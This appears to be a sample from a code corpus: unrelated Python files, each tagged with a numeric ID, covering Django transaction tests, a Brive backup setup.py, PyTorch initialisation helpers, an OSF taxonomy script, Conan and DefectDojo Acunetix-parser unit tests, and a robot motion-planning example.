other_thread_ready.set() # We cannot synchronize the two threads with an event here # because the main thread locks. Sleep for a little while. time.sleep(1) # 2) ... and this line deadlocks. (see below for 1) Reporter.objects.exclude(id=1).update(id=2) finally: # This is the thread-local connection, not the main connection. connection.close() other_thread = threading.Thread(target=other_thread) other_thread.start() other_thread_ready.wait() with six.assertRaisesRegex(self, OperationalError, 'Deadlock found'): # Double atomic to enter a transaction and create a savepoint. with transaction.atomic(): with transaction.atomic(): # 1) This line locks... (see above for 2) Reporter.objects.create(id=1, first_name="Tintin") other_thread.join() class AtomicMiscTests(TransactionTestCase): available_apps = [] def test_wrap_callable_instance(self): # Regression test for #20028 class Callable(object): def __call__(self): pass # Must not raise an exception transaction.atomic(Callable()) class TransactionTests(IgnorePendingDeprecationWarningsMixin, TransactionTestCase): available_apps = ['transactions'] def create_a_reporter_then_fail(self, first, last): a = Reporter(first_name=first, last_name=last) a.save() raise Exception("I meant to do that") def remove_a_reporter(self, first_name): r = Reporter.objects.get(first_name="Alice") r.delete() def manually_managed(self): r = Reporter(first_name="Dirk", last_name="Gently") r.save() transaction.commit() def manually_managed_mistake(self): r = Reporter(first_name="Edward", last_name="Woodward") r.save() # Oops, I forgot to commit/rollback! @skipUnlessDBFeature('supports_transactions') def test_autocommit(self): """ The default behavior is to autocommit after each save() action. """ self.assertRaises(Exception, self.create_a_reporter_then_fail, "Alice", "Smith" ) # The object created before the exception still exists self.assertEqual(Reporter.objects.count(), 1) @skipUnlessDBFeature('supports_transactions') def test_autocommit_decorator(self): """ The autocommit decorator works exactly the same as the default behavior. """ autocomitted_create_then_fail = transaction.autocommit( self.create_a_reporter_then_fail ) self.assertRaises(Exception, autocomitted_create_then_fail, "Alice", "Smith" ) # Again, the object created before the exception still exists self.assertEqual(Reporter.objects.count(), 1) @skipUnlessDBFeature('supports_transactions') def test_autocommit_decorator_with_using(self): """ The autocommit decorator also works with a using argument. """ autocomitted_create_then_fail = transaction.autocommit(using='default')( self.create_a_reporter_then_fail ) self.assertRaises(Exception, autocomitted_create_then_fail, "Alice", "Smith" ) # Again, the object created before the exception still exists self.assertEqual(Reporter.objects.count(), 1) @skipUnlessDBFeature('supports_transactions') def test_commit_on_success(self): """ With the commit_on_success decorator, the transaction is only committed if the function doesn't throw an exception. """ committed_on_success = transaction.commit_on_success( self.create_a_reporter_then_fail) self.assertRaises(Exception, committed_on_success, "Dirk", "Gently") # This time the object never got saved self.assertEqual(Reporter.objects.count(), 0) @skipUnlessDBFeature('supports_transactions') def test_commit_on_success_with_using(self): """ The commit_on_success decorator also works with a using argument. """ using_committed_on_success = transaction.commit_on_success(using='default')( self.create_a_reporter_then_fail ) self.assertRaises(Exception, using_committed_on_success, "Dirk", "Gently" ) # This time the object never got saved self.assertEqual(Reporter.objects.count(), 0) @skipUnlessDBFeature('supports_transactions') def test_commit_on_success_succeed(self): """ If there aren't any exceptions, the data will get saved. """ Reporter.objects.create(first_name="Alice", last_name="Smith") remove_comitted_on_success = transaction.commit_on_success( self.remove_a_reporter ) remove_comitted_on_success("Alice") self.assertEqual(list(Reporter.objects.all()), []) @skipUnlessDBFeature('supports_transactions') def test_commit_on_success_exit(self): @transaction.autocommit() def gen_reporter(): @transaction.commit_on_success def create_reporter(): Reporter.objects.create(first_name="Bobby", last_name="Tables") create_reporter() # Much more formal r = Reporter.objects.get() r.first_name = "Robert" r.save() gen_reporter() r = Reporter.objects.get() self.assertEqual(r.first_name, "Robert") @skipUnlessDBFeature('supports_transactions') def test_manually_managed(self): """ You can manually manage transactions if you really want to, but you have to remember to commit/rollback. """ manually_managed = transaction.commit_manually(self.manually_managed) manually_managed() self.assertEqual(Reporter.objects.count(), 1) @skipUnlessDBFeature('supports_transactions') def test_manually_managed_mistake(self): """ If you forget, you'll get bad errors. """ manually_managed_mistake = transaction.commit_manually( self.manually_managed_mistake ) self.assertRaises(transaction.TransactionManagementError, manually_managed_mistake) @skipUnlessDBFeature('supports_transactions') def test_manually_managed_with_using(self): """ The commit_manually function also works with a using argument. """ using_manually_managed_mistake = transaction.commit_manually(using='default')( self.manually_managed_mistake ) self.assertRaises(transaction.TransactionManagementError, using_manually_managed_mistake ) class TransactionRollbackTests(IgnorePendingDeprecationWarningsMixin, TransactionTestCase): available_apps = ['transactions'] def execute_bad_sql(self): cursor = connection.cursor() cursor.execute("INSERT INTO transactions_reporter (first_name, last_name) VALUES ('Douglas', 'Adams');") @skipUnlessDBFeature('requires_rollback_on_dirty_transaction') def test_bad_sql(self): """ Regression for #11900: If a function wrapped by commit_on_success writes a transaction that can't be committed, that transaction should be rolled back. The bug is only visible using the psycopg2 backend, though the fix is generally a good idea. """ execute_bad_sql = transaction.commit_on_success(self.execute_bad_sql) self.assertRaises(IntegrityError, execute_bad_sql) transaction.rollback() class TransactionContextManagerTests(IgnorePendingDeprecationWarningsMixin, TransactionTestCase): available_apps = ['transactions'] def create_reporter_and_fail(self): Reporter.objects.create(first_name="Bob", last_name="Holtzman") raise Exception @skipUnlessDBFeature('supports_transactions') def test_autocommit(self): """ The default behavior is to autocommit after each save() action. """ with self.assertRaises(Exception): self.create_reporter_and_fail() # The object created before the exception still exists self.assertEqual(Reporter.objects.count(), 1) @skipUnlessDBFeature('supports_transactions') def test_autocommit_context_manager(self): """ The autocommit context manager works exactly the same as the default behavior. """ with self.assertRaises(Exception): with transaction.autocommit(): self.create_reporter_and_fail() self.assertEqual(Reporter.objects.count(), 1) @skipUnlessDBFeature('supports_transactions') def test_autocommit_context_manager_with_using(self): """ The autocommit context manager also works with a using argument. """ with self.assertRaises(Exception): with transaction.autocommit(using="default"): self.create_reporter_and_fail() self.assertEqual(Reporter.objects.count(), 1) @skipUnlessDBFeature('supports_transactions') def test_commit_on_success(self): """ With the commit_on_success context manager, the transaction is only committed if the block doesn't throw an exception. """ with self.assertRaises(Exception): with transaction.commit_on_success(): self.create_reporter_and_fail() self.assertEqual(Reporter.objects.count(), 0) @skipUnlessDBFeature('supports_transactions') def test_commit_on_success_with_using(self): """ The commit_on_success context manager also works with a using argument. """ with self.assertRaises(Exception): with transaction.commit_on_success(using="default"): self.create_reporter_and_fail() self.assertEqual(Reporter.objects.count(), 0) @skipUnlessDBFeature('supports_transactions') def test_commit_on_success_succeed(self): """ If there aren't any exceptions, the data will get saved. """ Reporter.objects.create(first_name="Alice", last_name="Smith") with transaction.commit_on_success(): Reporter.objects.filter(first_name="Alice").delete() self.assertQuerysetEqual(Reporter.objects.all(), []) @skipUnlessDBFeature('supports_transactions') def test_commit_on_success_exit(self): with transaction.autocommit(): with transaction.commit_on_success(): Reporter.objects.create(first_name="Bobby", last_name="Tables") # Much more formal r = Reporter.objects.get() r.first_name = "Robert" r.save() r = Reporter.objects.get() self.assertEqual(r.first_name, "Robert") @skipUnlessDBFeature('supports_transactions') def test_manually_managed(self): """ You can manually manage transactions if you really want to, but you have to remember to commit/rollback. """ with transaction.commit_manually(): Reporter.objects.create(first_name="Libby", last_name="Holtzman") transaction.commit() self.assertEqual(Reporter.objects.count(), 1) @skipUnlessDBFeature('supports_transactions') def test_manually_managed_mistake(self): """ If you forget, you'll get bad errors. """ with self.assertRaises(transaction.TransactionManagementError): with transaction.commit_manually(): Reporter.objects.create(first_name="Scott", last_name="Browning") @skipUnlessDBFeature('supports_transactions') def test_manually_managed_with_using(self): """ The commit_manually function also works with a using argument. """ with self.assertRaises(transaction.TransactionManagementError): with transaction.commit_manually(using="default"): Reporter.objects.create(first_name="Walter", last_name="Cronkite") @skipUnlessDBFeature('requires_rollback_on_dirty_transaction') def test_bad_sql(self): """ Regression for #11900: If a block wrapped by commit_on_success writes a transaction that can't be committed, that transaction should be rolled back. The bug is only visible using the psycopg2 backend, though the fix is generally a good idea. """ with self.assertRaises(IntegrityError): with transaction.commit_on_success(): cursor = connection.cursor() cursor.execute("INSERT INTO transactions_reporter (first_name, last_name) VALUES ('Douglas', 'Adams');") transaction.rollback()
68249
try: from setuptools import setup, find_packages except ImportError: print 'Please download and install setuptools (http://pypi.python.org/pypi/setuptools)' exit(1) setup( name = "Brive", version = "0.4.0", packages = find_packages(), author = "<NAME>", author_email = "<EMAIL>", description = "Brive, the Google Apps Domains' Drive Backup application", license = "UNLICENSED (cf http://unlicense.org/)", keywords = "google drive backup domain", url = "https://github.com/x8wk/Brive", install_requires = [ 'Brive==0.3.11', 'cffi==1.2.1', 'cryptography==1.0.1', 'enum34==1.0.4', 'feedparser==5.2.1', 'google-api-python-client==1.4.2', 'httplib2==0.9.1', 'idna==2.0', 'ipaddress==1.0.14', 'oauth2client==1.5.1', 'pyasn1==0.1.8', 'pyasn1-modules==0.0.7', 'pycparser==2.14', 'pyOpenSSL==0.15.1', 'python-dateutil==2.4.2', 'PyYAML==3.11', 'rsa==3.2', 'simplejson==3.8.0', 'six==1.9.0', 'streaming-httplib2==0.7.6', 'uritemplate==0.6', 'wheel==0.26.0' ], dependency_links = [ "http://pyyaml.org/download/pyyaml/PyYAML-3.11.tar.gz" ] ) # for some reason, the developer of streaming_httplib2 didn't include the certificates # of signing authorities for SSL, so here we copy the certs from httplib2 # ugly, but eh... import os, sys, httplib2, streaming_httplib2, shutil httplib2_root = os.path.dirname(httplib2.__file__) streaming_httplib2_root = os.path.dirname(streaming_httplib2.__file__) cacerts_file_path = os.path.join(httplib2_root, 'cacerts.txt') shutil.copy(cacerts_file_path, streaming_httplib2_root)
68261
import torch.nn as nn import math import torch def init_model(model, **kwargs): conv_type = kwargs.get("conv_type", None) if conv_type == "def": conv_type = None bias_type = kwargs.get("bias_type", None) if bias_type == "def": bias_type = None mode = kwargs.get("mode", None) nonlinearity = kwargs.get("nonlinearity", None) bn_init = kwargs.get("bn_init", None) if bn_init == "def": bn_init = None init_linear = kwargs.get("init_linear", False) logger = kwargs.get("logger", None) assert (logger is not None) assert (conv_type in {"he", "xavier", None}) assert (mode in {"fan_out", "fan_in", None}) assert (nonlinearity in {"relu", None}) assert (bn_init in {"01", "11", "uniformweight", None}) if conv_type is not None: if conv_type == "he": init_conv_he(model, mode, nonlinearity, logger) if conv_type == "xavier": init_conv_xavier(model, mode, nonlinearity, logger) init_lin_xavier(model, logger) if bias_type is not None: if bias_type == "xavier": init_bias_xavier(model, mode, nonlinearity, logger) init_bias_lin_xavier(model, logger) if str(bias_type) == "0": init_bias_zero(model, mode, nonlinearity, logger) init_bias_lin_zero(model, logger) if bn_init is not None: if bn_init == "01": init_bn_01(model, logger=logger) elif bn_init == "11": init_bn_11(model, logger=logger) elif bn_init == "uniformweight": init_bn_uniformweight(model, logger=logger) if init_linear: init_lin(model, logger) def init_conv_xavier(model, mode='fan_out', nonlinearity='relu', logger=None): layers_initialized = 0 a = 0 for m in model.modules(): if isinstance(m, nn.Conv2d): layers_initialized += 1 torch.nn.init.xavier_normal_(m.weight.data) if m.bias is not None: m.bias.data.normal_(0, math.sqrt(2)/math.sqrt(1+9*m.bias.data.shape[0])) logger.info("Initialized " + str(layers_initialized) + " Conv2d layers using nn.init.xavier_normal_") def init_bias_xavier(model, mode='fan_out', nonlinearity='relu', logger=None): layers_initialized = 0 a = 0 for m in model.modules(): if isinstance(m, nn.Conv2d): if m.bias is not None: layers_initialized += 1 m.bias.data.normal_(0, math.sqrt(2)/math.sqrt(1+9*m.bias.data.shape[0])) logger.info("Initialized " + str(layers_initialized) + \ " bias conv2d layers using nn.init.xavier.noraml_") def init_lin_xavier(model, logger=None): layers_initialized = 0 a = 0 for m in model.modules(): if isinstance(m, nn.Linear): layers_initialized += 1 torch.nn.init.xavier_normal_(m.weight.data) logger.info("Initialized " + str(layers_initialized) + " linear layers using xavier") def init_bias_lin_xavier(model, logger=None): layers_initialized = 0 a = 0 for m in model.modules(): if isinstance(m, nn.Linear): if m.bias is not None: layers_initialized += 1 m.bias.data.normal_(0, math.sqrt(2)/math.sqrt(1+m.bias.data.shape[0])) logger.info("Initialized " + str(layers_initialized) + " bias linear layers using xavier") def init_bias_lin_zero(model, logger=None): layers_initialized = 0 a = 0 for m in model.modules(): if isinstance(m, nn.Linear): if m.bias is not None: layers_initialized += 1 m.bias.data.zero_() logger.info("Initialized " + str(layers_initialized) + " bias linear layers using 0") def init_bias_zero(model, mode='fan_out', nonlinearity='relu', logger=None): layers_initialized = 0 a = 0 for m in model.modules(): if isinstance(m, nn.Conv2d): if m.bias is not None: layers_initialized += 1 m.bias.data.zero_() logger.info("Initialized " + str(layers_initialized) + \ " bias conv2d layers using nn.init.zero") def init_conv_he(model, mode='fan_out', nonlinearity='relu', logger=None): layers_initialized = 0 a = 0 for m in model.modules(): if isinstance(m, nn.Conv2d): layers_initialized += 1 nn.init.kaiming_normal(m.weight.data, a=a, mode=mode) logger.info("Initialized " + str(layers_initialized) + \ " conv2d layers using nn.init.kaiming_normal_") def init_lin(model, logger=None): layers_initialized = 0 a = 0 for m in model.modules(): if isinstance(m, nn.Linear): layers_initialized += 1 stdv = 1. / math.sqrt(m.weight.data.size(1)) std_cur = stdv m.weight.data.fill_(std_cur) m.bias.data.fill_(std_cur) logger.info("Initialized " + str(layers_initialized) + " linear layers using PyTorch default") def init_bn_01(model, logger=None): layers_initialized = 0 for m in model.modules(): if isinstance(m, nn.BatchNorm2d): layers_initialized += 1 m.weight.data.fill_(1) m.bias.data.zero_() logger.info("Initialized " + str(layers_initialized) + " BN layers using weight=1 and bias=0") def init_bn_11(model, logger=None): layers_initialized = 0 for m in model.modules(): if isinstance(m, nn.BatchNorm2d): layers_initialized += 1 m.weight.data.fill_(0.015) m.bias.data.fill_(0.015) logger.info("Initialized " + str(layers_initialized) + " BN layers using weight=0.015 and bias=0.015") def init_bn_uniformweight(model, logger=None): layers_initialized = 0 for m in model.modules(): if isinstance(m, nn.BatchNorm2d): layers_initialized += 1 m.weight.data.uniform_() m.bias.data.zero_() logger.info("Initialized " + str(layers_initialized) + " BN layers using weight=U(0,1) and bias=0") ############### def _calculate_correct_fan(tensor, mode): mode = mode.lower() valid_modes = ['fan_in', 'fan_out'] if mode not in valid_modes: raise ValueError("Mode {} not supported, please use one of {}".format(mode, valid_modes)) fan_in, fan_out = _calculate_fan_in_and_fan_out(tensor) return fan_in if mode == 'fan_in' else fan_out def _calculate_fan_in_and_fan_out(tensor): dimensions = tensor.ndimension() if dimensions < 2: raise ValueError("Fan in and fan out can not be computed for tensor with less than 2 dimensions") if dimensions == 2: # Linear fan_in = tensor.size(1) fan_out = tensor.size(0) else: num_input_fmaps = tensor.size(1) num_output_fmaps = tensor.size(0) receptive_field_size = 1 if tensor.dim() > 2: receptive_field_size = tensor[0][0].numel() fan_in = num_input_fmaps * receptive_field_size fan_out = num_output_fmaps * receptive_field_size return fan_in, fan_out def calculate_gain(nonlinearity, param=None): r"""Return the recommended gain value for the given nonlinearity function. The values are as follows: ================= ==================================================== nonlinearity gain ================= ==================================================== Linear / Identity :math:`1` Conv{1,2,3}D :math:`1` Sigmoid :math:`1` Tanh :math:`\frac{5}{3}` ReLU :math:`\sqrt{2}` Leaky Relu :math:`\sqrt{\frac{2}{1 + \text{negative_slope}^2}}` ================= ==================================================== Args: nonlinearity: the non-linear function (`nn.functional` name) param: optional parameter for the non-linear function Examples: >>> gain = nn.init.calculate_gain('leaky_relu') """ linear_fns = ['linear', 'conv1d', 'conv2d', 'conv3d', 'conv_transpose1d', 'conv_transpose2d', 'conv_transpose3d'] if nonlinearity in linear_fns or nonlinearity == 'sigmoid': return 1 elif nonlinearity == 'tanh': return 5.0 / 3 elif nonlinearity == 'relu': return math.sqrt(2.0) elif nonlinearity == 'leaky_relu': if param is None: negative_slope = 0.01 elif not isinstance(param, bool) and isinstance(param, int) or isinstance(param, float): # True/False are instances of int, hence check above negative_slope = param else: raise ValueError("negative_slope {} not a valid number".format(param)) return math.sqrt(2.0 / (1 + negative_slope ** 2)) else: raise ValueError("Unsupported nonlinearity {}".format(nonlinearity)) def kaiming_normal_std_(tensor, a=0, mode='fan_in', nonlinearity='leaky_relu'): r"""Fills the input `Tensor` with values according to the method described in "Delving deep into rectifiers: Surpassing human-level performance on ImageNet classification" - <NAME>. et al. (2015), using a normal distribution. The resulting tensor will have values sampled from :math:`\mathcal{N}(0, \text{std})` where .. math:: \text{std} = \sqrt{\frac{2}{(1 + a^2) \times \text{fan_in}}} Also known as He initialization. Args: tensor: an n-dimensional `torch.Tensor` a: the negative slope of the rectifier used after this layer (0 for ReLU by default) mode: either 'fan_in' (default) or 'fan_out'. Choosing `fan_in` preserves the magnitude of the variance of the weights in the forward pass. Choosing `fan_out` preserves the magnitudes in the backwards pass. nonlinearity: the non-linear function (`nn.functional` name), recommended to use only with 'relu' or 'leaky_relu' (default). Examples: >>> w = torch.empty(3, 5) >>> nn.init.kaiming_normal_(w, mode='fan_out', nonlinearity='relu') """ fan = _calculate_correct_fan(tensor, mode) gain = calculate_gain(nonlinearity, a) std = gain / math.sqrt(fan) return std
68276
import wx.lib.agw.floatspin as floatspin from .wxControl import * class 图片操作(wx.Image, 公用方法): pass def 设置宽度高度(self, width, height, quality=0): return 图片操作(self.Scale(width, height, quality)) def 取位图(self, depth=-1): return self.ConvertToBitmap(depth)
68321
import os import json import logging import sys from django.db import transaction from django.apps import apps from scripts import utils as script_utils from scripts.populate_preprint_providers import update_or_create from website.app import init_app from website import settings logger = logging.getLogger(__name__) logging.basicConfig(level=logging.INFO) # OSF preprint provider used for initial subject creation OSF_PROVIDER_DATA = { '_id': 'osf', 'name': 'Open Science Framework', 'domain': settings.DOMAIN, 'domain_redirect_enabled': False, 'default_license': 'CC0 1.0 Universal', 'licenses_acceptable': ['CC0 1.0 Universal', 'CC-By Attribution 4.0 International', 'No license'], } def update_taxonomies(filename): Subject = apps.get_model('osf.Subject') PreprintProvider = apps.get_model('osf.PreprintProvider') try: bepress_provider = PreprintProvider.objects.get(_id='osf') except PreprintProvider.DoesNotExist: bepress_provider, _ = update_or_create(OSF_PROVIDER_DATA) # Flat taxonomy is stored locally, read in here with open( os.path.join( settings.APP_PATH, 'website', 'static', filename ) ) as fp: taxonomy = json.load(fp) for subject_path in taxonomy.get('data'): subjects = subject_path.split('_') text = subjects[-1] # Search for parent subject, get id if it exists parent = None if len(subjects) > 1: parent, created_p = Subject.objects.get_or_create(text=subjects[-2], provider=bepress_provider) if created_p: logger.info('Created parent "{}":{} for subject {}'.format(parent.text, parent._id, text)) logger.info(u'Getting or creating Subject "{}"{}'.format( text, u' with parent {}:{}'.format(parent.text, parent._id) if parent else '' )) subject, _ = Subject.objects.get_or_create(text=text, provider=bepress_provider) if parent and not subject.parent: logger.info(u'Adding parent "{}":{} to Subject "{}":{}'.format( parent.text, parent._id, subject.text, subject._id )) subject.parent = parent subject.save() def main(): init_app(set_backends=True, routes=False) dry_run = '--dry' in sys.argv if not dry_run: script_utils.add_file_logger(logger, __file__) with transaction.atomic(): update_taxonomies('bepress_taxonomy.json') if dry_run: raise RuntimeError('Dry run, transaction rolled back') if __name__ == '__main__': main()
68359
import unittest from collections import OrderedDict from conans.model.ref import ConanFileReference from conans.test.utils.tools import TestServer, TurboTestClient, GenConanfile class InstallCascadeTest(unittest.TestCase): def setUp(self): """ A / \ B C | \ D | / \ | | \ / E F """ server = TestServer() servers = OrderedDict([("default", server)]) self.client = TurboTestClient(servers=servers) self.ref_a = ConanFileReference.loads("libA/1.0@conan/stable") self.client.create(self.ref_a, conanfile=GenConanfile()) self.ref_b = ConanFileReference.loads("libB/1.0@conan/stable") self.client.create(self.ref_b, conanfile=GenConanfile().with_requirement(self.ref_a)) self.ref_c = ConanFileReference.loads("libC/1.0@conan/stable") self.client.create(self.ref_c, conanfile=GenConanfile().with_requirement(self.ref_a)) self.ref_d = ConanFileReference.loads("libD/1.0@conan/stable") self.client.create(self.ref_d, conanfile=GenConanfile().with_requirement(self.ref_b)) self.ref_e = ConanFileReference.loads("libE/1.0@conan/stable") self.client.create(self.ref_e, conanfile=GenConanfile().with_requirement(self.ref_d)) self.ref_f = ConanFileReference.loads("libF/1.0@conan/stable") conanfile = GenConanfile().with_requirement(self.ref_c).with_requirement(self.ref_d) self.client.create(self.ref_f, conanfile=conanfile) def _assert_built(self, refs): for ref in refs: self.assertIn("{}: Copying sources to build folder".format(ref), self.client.out) for ref in [self.ref_a, self.ref_b, self.ref_c, self.ref_d, self.ref_e, self.ref_f]: if ref not in refs: self.assertNotIn("{}: Copying sources to build folder".format(ref), self.client.out) def test_install_cascade_only_affected(self): project = ConanFileReference.loads("project/1.0@conan/stable") project_cf = GenConanfile().with_requirement(self.ref_e).with_requirement(self.ref_f) # Building A everything is built self.client.create(project, conanfile=project_cf, args="--build {} --build cascade".format(self.ref_a)) self._assert_built([self.ref_a, self.ref_b, self.ref_c, self.ref_d, self.ref_e, self.ref_f, project]) # Building D builds E, F and project self.client.create(project, conanfile=project_cf, args="--build {} --build cascade".format(self.ref_d)) self._assert_built([self.ref_d, self.ref_e, self.ref_f, project]) # Building E only builds E and project self.client.create(project, conanfile=project_cf, args="--build {} --build cascade".format(self.ref_e)) self._assert_built([self.ref_e, project]) # Building project only builds project self.client.create(project, conanfile=project_cf, args="--build {} --build cascade".format(project)) self._assert_built([project]) # Building C => builds F and project self.client.create(project, conanfile=project_cf, args="--build {} --build cascade".format(self.ref_c)) self._assert_built([project, self.ref_f, self.ref_c])
68495
import datetime from ..dojo_test_case import DojoTestCase from dojo.models import Test from dojo.tools.acunetix.parser import AcunetixParser class TestAcunetixParser(DojoTestCase): def test_parse_file_with_one_finding(self): testfile = open("unittests/scans/acunetix/one_finding.xml") parser = AcunetixParser() findings = parser.get_findings(testfile, Test()) for finding in findings: for endpoint in finding.unsaved_endpoints: endpoint.clean() self.assertEqual(1, len(findings)) with self.subTest(i=0): finding = findings[0] self.assertEqual("Medium", finding.severity) self.assertEqual(352, finding.cwe) self.assertEqual(datetime.date(2018, 9, 24), finding.date) self.assertIsNotNone(finding.description) self.assertGreater(len(finding.description), 0) self.assertFalse(finding.false_p) self.assertEqual("Vijay Test Imapact", finding.impact) self.assertIsNotNone(finding.references) self.assertGreater(len(finding.references), 0) self.assertEqual(1, len(finding.unsaved_endpoints)) # check endpoints self.assertEqual(1, len(finding.unsaved_endpoints)) endpoint = finding.unsaved_endpoints[0] self.assertEqual('https', endpoint.protocol) self.assertEqual(443, endpoint.port) self.assertEqual('vijaytest.com', endpoint.host) self.assertEqual('some/path', endpoint.path) def test_parse_file_with_multiple_finding(self): testfile = open("unittests/scans/acunetix/many_findings.xml") parser = AcunetixParser() findings = parser.get_findings(testfile, Test()) for finding in findings: for endpoint in finding.unsaved_endpoints: endpoint.clean() self.assertEqual(4, len(findings)) with self.subTest(i=0): finding = findings[0] self.assertEqual("Medium", finding.severity) self.assertEqual(datetime.date(2020, 2, 27), finding.date) self.assertIsNotNone(finding.description) self.assertEqual("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", finding.cvssv3) self.assertFalse(finding.false_p) self.assertEqual("A single machine can take down another machine's web server with minimal bandwidth and side effects on unrelated services and ports.", finding.impact) # check that this finding have references self.assertIsNotNone(finding.references) self.assertGreater(len(finding.references), 0) # check endpoints self.assertEqual(1, len(finding.unsaved_endpoints)) endpoint = finding.unsaved_endpoints[0] self.assertIsNone(endpoint.protocol) self.assertIsNone(endpoint.port) self.assertEqual('www.itsecgames.com', endpoint.host) self.assertIsNone(endpoint.path) # check req/resp self.assertEqual(1, len(finding.unsaved_req_resp)) req_resp = finding.unsaved_req_resp[0] self.assertIn('req', req_resp) self.assertIsNotNone(req_resp['req']) self.assertIsInstance(req_resp['req'], str) self.assertIn('resp', req_resp) self.assertIsNotNone(req_resp['resp']) self.assertIsInstance(req_resp['resp'], str) with self.subTest(i=1): finding = findings[1] self.assertEqual("Possible virtual host found", finding.title) self.assertEqual("Low", finding.severity) self.assertEqual(200, finding.cwe) self.assertEqual(datetime.date(2020, 2, 27), finding.date) self.assertIsNotNone(finding.description) self.assertEqual("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", finding.cvssv3) self.assertFalse(finding.false_p) self.assertEqual("Possible sensitive information disclosure.", finding.impact) # check that this finding have references self.assertIsNotNone(finding.references) self.assertGreater(len(finding.references), 0) # check endpoints self.assertEqual(1, len(finding.unsaved_endpoints)) endpoint = finding.unsaved_endpoints[0] self.assertIsNone(endpoint.protocol) self.assertIsNone(endpoint.port) self.assertEqual('www.itsecgames.com', endpoint.host) self.assertIsNone(endpoint.path) # check req/resp self.assertEqual(1, len(finding.unsaved_req_resp)) req_resp = finding.unsaved_req_resp[0] self.assertIn('req', req_resp) self.assertIsNotNone(req_resp['req']) self.assertIsInstance(req_resp['req'], str) self.assertIn('resp', req_resp) self.assertIsNotNone(req_resp['resp']) self.assertIsInstance(req_resp['resp'], str) with self.subTest(i=2): finding = findings[2] self.assertEqual("Unencrypted connection (verified)", finding.title) self.assertEqual("Low", finding.severity) self.assertEqual(310, finding.cwe) self.assertEqual(datetime.date(2020, 2, 27), finding.date) self.assertIsNotNone(finding.description) self.assertEqual("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", finding.cvssv3) self.assertFalse(finding.false_p) self.assertEqual("Possible information disclosure.", finding.impact) # check that this finding have no references self.assertIsNone(finding.references) # check endpoints self.assertEqual(1, len(finding.unsaved_endpoints)) endpoint = finding.unsaved_endpoints[0] self.assertIsNone(endpoint.protocol) self.assertIsNone(endpoint.port) self.assertEqual('www.itsec<EMAIL>', endpoint.host) self.assertIsNone(endpoint.path) # check req/resp self.assertEqual(1, len(finding.unsaved_req_resp)) req_resp = finding.unsaved_req_resp[0] self.assertIn('req', req_resp) self.assertIsNotNone(req_resp['req']) self.assertIsInstance(req_resp['req'], str) self.assertIn('resp', req_resp) self.assertIsNotNone(req_resp['resp']) self.assertIsInstance(req_resp['resp'], str) def test_parse_file_with_example_com(self): testfile = open("unittests/scans/acunetix/XML_http_example_co_id_.xml") parser = AcunetixParser() findings = parser.get_findings(testfile, Test()) for finding in findings: for endpoint in finding.unsaved_endpoints: endpoint.clean() self.assertEqual(7, len(findings)) with self.subTest(i=0): finding = findings[0] self.assertEqual("HTML form without CSRF protection", finding.title) self.assertEqual("Medium", finding.severity) self.assertEqual(datetime.date(2020, 4, 28), finding.date) self.assertIsNotNone(finding.description) self.assertEqual("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", finding.cvssv3) self.assertFalse(finding.false_p) self.assertIn("An attacker could use CSRF to trick a victim into accessing a website hosted by the attacker,", finding.impact) # aggregated self.assertEqual(3, finding.nb_occurences) # check that this finding have references self.assertIsNotNone(finding.references) self.assertGreater(len(finding.references), 0) # check endpoints self.assertEqual(3, len(finding.unsaved_endpoints)) endpoint = finding.unsaved_endpoints[0] self.assertIsNone(endpoint.protocol) self.assertIsNone(endpoint.port) self.assertEqual('example.co.id', endpoint.host) self.assertEqual('h/search', endpoint.path) endpoint = finding.unsaved_endpoints[1] self.assertIsNone(endpoint.protocol) self.assertIsNone(endpoint.port) self.assertEqual('example.co.id', endpoint.host) self.assertEqual('m/zmain', endpoint.path) # check req/resp self.assertEqual(3, len(finding.unsaved_req_resp)) for req_resp in finding.unsaved_req_resp: self.assertIn('req', req_resp) self.assertIsNotNone(req_resp['req']) self.assertIsInstance(req_resp['req'], str) self.assertIn('resp', req_resp) self.assertIsNotNone(req_resp['resp']) self.assertIsInstance(req_resp['resp'], str) with self.subTest(i=6): finding = findings[6] self.assertEqual("Content Security Policy (CSP) not implemented", finding.title) self.assertEqual("Info", finding.severity) self.assertEqual(datetime.date(2020, 4, 28), finding.date) self.assertIsNotNone(finding.description) self.assertFalse(finding.false_p) self.assertIn("CSP can be used to prevent and/or mitigate attacks that involve content/code injection,", finding.impact) # check that this finding have references self.assertIsNotNone(finding.references) self.assertGreater(len(finding.references), 0) # check endpoints self.assertEqual(1, len(finding.unsaved_endpoints)) endpoint = finding.unsaved_endpoints[0] self.assertIsNone(endpoint.protocol) self.assertIsNone(endpoint.port) self.assertEqual('example.co.id', endpoint.host) self.assertIsNone(endpoint.path) # check req/resp self.assertEqual(1, len(finding.unsaved_req_resp)) req_resp = finding.unsaved_req_resp[0] self.assertIn('req', req_resp) self.assertIsNotNone(req_resp['req']) self.assertIsInstance(req_resp['req'], str) self.assertIn('resp', req_resp) self.assertIsNotNone(req_resp['resp']) self.assertIsInstance(req_resp['resp'], str)
68545
from compas_fab.backends import RosClient from helpers import show_trajectory from compas.geometry import Frame with RosClient("localhost") as client: robot = client.load_robot() group = robot.main_group_name frames = [] frames.append(Frame((0.3, 0.1, 0.05), (-1, 0, 0), (0, 1, 0))) frames.append(Frame((0.4, 0.3, 0.05), (-1, 0, 0), (0, 1, 0))) start_configuration = robot.zero_configuration() start_configuration.joint_values = (-0.106, 5.351, 2.231, -2.869, 4.712, 1.465) trajectory = robot.plan_cartesian_motion(frames, start_configuration, group=group, options=dict( max_step=0.01, avoid_collisions=True, )) print("Computed cartesian path with %d configurations, " % len(trajectory.points)) print("following %d%% of requested trajectory." % (trajectory.fraction * 100)) print("Executing this path at full speed would take approx. %.3f seconds." % trajectory.time_from_start) show_trajectory(trajectory)
68608
